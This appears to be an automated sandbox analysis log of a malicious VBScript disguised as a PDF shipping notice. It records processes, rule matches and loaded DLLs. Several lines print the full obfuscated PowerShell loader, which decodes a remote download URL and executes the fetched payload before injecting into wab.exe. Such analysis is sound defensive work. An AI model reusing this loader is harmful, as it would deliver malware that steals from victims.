Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_28AFB5C0	12_2_28AFB5C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_28AF5AB0	12_2_28AF5AB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_28AFAEE0	12_2_28AFAEE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_28AF911B	12_2_28AF911B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_28AF0011	12_2_28AF0011

Source: Arrival Notice PUS_pdf.vbs

Initial sample: Strings found which are bigger than 50

Source: amsi32_8108.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7660, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 8108, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBS@13/9@5/4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Australians.Hov

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7668:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_el1m15uv.qqi.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Arrival Notice PUS_pdf.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7660
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=8108
Source: C:\Program Files (x86)\Windows Mail\wab.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Program Files (x86)\Windows Mail\wab.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Arrival Notice PUS_pdf.vbs	ReversingLabs: Detection: 13%
Source: Arrival Notice PUS_pdf.vbs	Virustotal: Detection: 15%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Arrival Notice PUS_pdf.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 ',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Australians.Hov && echo $"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 ',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Australians.Hov && echo $"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 ',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Australians.Hov && echo $"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 ',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Australians.Hov && echo $"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: esscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
